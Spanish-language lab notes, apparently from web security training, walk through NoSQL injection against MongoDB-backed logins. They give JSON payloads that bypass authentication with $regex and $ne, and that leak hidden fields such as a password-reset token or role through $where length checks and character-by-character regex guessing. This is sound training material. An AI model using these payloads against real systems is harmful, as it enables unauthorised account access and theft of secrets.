LAB 4 y 5 -NoSQL Injection

LAB 4 - NoSQL Operator Injection (Auth Bypass)

Objetivo: Bypass de login usando operadores de MongoDB.

1. **Captura:** Intercepta el login JSON en Burp Suite.
2. **Payload de Bypass:** Cambia los valores de string por objetos con operadores:

JSON

```
{
    "username": { "$regex": "admin.*" },
    "password": { "$ne": "(cualquier-cosa)" }
}
```

3. **Explicación:** `$regex` busca un usuario que empiece por admin, y `$ne` (not equal) dice que la contraseña no sea igual a la basura que pusimos. Como es verdad, el login es exitoso.

💉 LAB 5: NoSQL Injection (Extracting Unknown Fields)

Objetivo: Extraer campos ocultos (como tokens o roles) mediante inyección en el cuerpo JSON.

1. **Identificar campos adicionales:** A veces puedes inyectar `$where` para forzar errores o retardos. Prueba a ver si el servidor acepta operadores en campos de búsqueda.
2. **Inyección de Longitud de Campo:** Si quieres saber si existe un campo llamado `forgotPasswordToken` y su longitud:

JSON

```
{
    "username": "administrator",
    "password": {"$ne": "foo"},
    "$where": "this.forgotPasswordToken.length > (X)"
}
```

3. **Exfiltración carácter por carácter:** Usa `$regex` para adivinar el valor de un campo oculto:

JSON

```
{
    "username": "administrator",
    "password": {"$ne": "foo"},
    "role": {"$regex": "^a.*"}
}
```

(Si devuelve 200 OK, el campo `role` empieza por 'a').